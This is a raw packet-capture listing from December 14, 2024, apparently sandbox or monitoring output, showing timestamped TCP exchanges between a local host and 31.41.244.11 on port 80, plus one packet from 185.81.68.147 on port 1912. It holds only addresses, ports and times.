Dec 14, 2024 14:56:29.923666000 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.924638987 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.924699068 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.924762011 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.925489902 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.925808907 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.925848961 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.925848961 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.925883055 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.926872969 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.926922083 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.926956892 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.926995039 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.928003073 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.928056955 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.928086042 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.928122997 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.929096937 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.929145098 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.929187059 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.929287910 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.930243015 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.930289030 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.930397987 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.930435896 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.931458950 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.931519985 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.931598902 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.931894064 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.038494110 CET	1912	49870	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:30.066358089 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.066440105 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.066720963 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.066821098 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.067553043 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.067619085 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.067795038 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.067846060 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.068991899 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.069063902 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.069159985 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.069209099 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.069783926 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.069825888 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.070549011 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.070630074 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.070672035 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.070703983 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.070911884 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.070957899 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.070981026 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.071041107 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.071876049 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.071952105 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.071996927 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.072915077 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.072964907 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.073060036 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.073404074 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.074207067 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.074305058 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.074352980 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.075054884 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.075108051 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.075129986 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.075366974 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.075961113 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.076009035 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.076056004 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.076112986 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.076663971 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.076708078 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.076749086 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.076791048 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.077724934 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.077836990 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.077897072 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.078818083 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.078864098 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.078937054 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.079756021 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.079981089 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.080029964 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.080128908 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.080168009 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.081068039 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.081111908 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.081167936 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.081206083 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.082174063 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.082214117 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.082299948 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.082493067 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.083277941 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.083349943 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.083394051 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.083585978 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.084389925 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.084440947 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.084490061 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.084835052 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.085534096 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.085583925 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.085652113 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.085942984 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.086631060 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.086689949 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.086769104 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.087790966 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.087852955 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.087867975 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.087912083 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.088841915 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.088895082 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.088943005 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.088988066 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.089967966 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.090059996 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.090080023 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.090126991 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.091073990 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.091125011 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.091320992 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.091483116 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.092199087 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.092288017 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.092333078 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.093286037 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.093401909 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.093450069 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.094408989 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.094521999 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.094595909 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.094731092 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.095577955 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.095627069 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.095870972 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.095920086 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.096653938 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.096713066 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.096760988 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.096811056 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.097773075 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.097819090 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.097893000 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.097939014 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.098917007 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.099030018 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.099076033 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.100004911 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.100070953 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.100111008 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.100153923 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.101222038 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.101294041 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.101355076 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.101756096 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.102233887 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.102363110 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.102412939 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.103348970 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.103476048 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.103544950 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.103590965 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.104468107 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.104569912 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.104624033 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.105695009 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.105746984 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.105798006 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.105844975 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.106667042 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.106717110 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.106719971 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.107812881 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.107870102 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.107908010 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.107954025 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.108915091 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.108969927 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.109020948 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.109064102 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.109997034 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.110055923 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.110137939 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.110203028 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.111134052 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.111264944 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.111341953 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.112248898 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.112299919 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.112503052 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.112548113 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.113339901 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.113432884 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.113504887 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.113914967 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.114470959 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.114522934 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.114572048 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.114620924 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.115664005 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.115739107 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.115820885 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.115868092 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.116758108 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.116816998 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.116903067 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.116951942 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.117805004 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.117852926 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.117902040 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.118094921 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.118918896 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.118964911 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.119034052 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.120044947 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.120093107 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.120151997 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.120212078 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.121136904 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.121179104 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.121234894 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.121273041 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.122263908 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.122303963 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.122374058 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.122411966 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.123405933 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.123450994 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.123526096 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.123565912 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.257668018 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.257741928 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.257792950 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.257833958 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.258145094 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.258199930 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.258256912 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.258300066 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.259248018 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.259289026 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.259346962 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.259402990 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.260345936 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.260386944 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.261653900 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.261670113 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.261710882 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.262125015 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.262175083 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.262245893 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.262289047 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.263253927 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.263295889 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.263639927 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.263681889 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.263834000 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.263873100 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.264806986 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.264940977 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.264997959 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.265889883 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.265933037 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.266021967 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.266063929 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.267132044 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.267194986 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.267230988 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.267271996 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.268086910 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.268127918 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.268214941 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.268254995 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.269208908 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.269351006 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.269392967 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.270323038 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.270365953 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.270404100 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.270447969 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.271450043 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.271559000 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.271600962 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.272588968 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.272691011 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.272700071 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.272746086 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.273669958 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.273734093 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.273778915 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.273897886 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.274816990 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.274832964 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.274867058 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.275902987 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.275954962 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.276015997 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.276060104 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.277062893 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.277111053 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.277164936 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.277210951 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.278131008 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.278191090 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.278224945 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.278264999 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.279249907 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.279299974 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.279362917 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.279401064 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.280364037 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.280400991 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.280474901 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.280566931 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.281466007 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.281580925 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.281613111 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.282582998 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.282624006 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.282764912 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.282802105 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.283740044 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.283787966 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.283802032 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.283834934 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.284818888 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.284944057 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.284979105 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.285927057 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.285964012 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.286012888 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.286047935 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.287051916 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.287086964 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.287149906 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.287198067 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.288161993 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.288197994 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.288260937 CET	80	49876	31.41.244.11	192.168.2.5
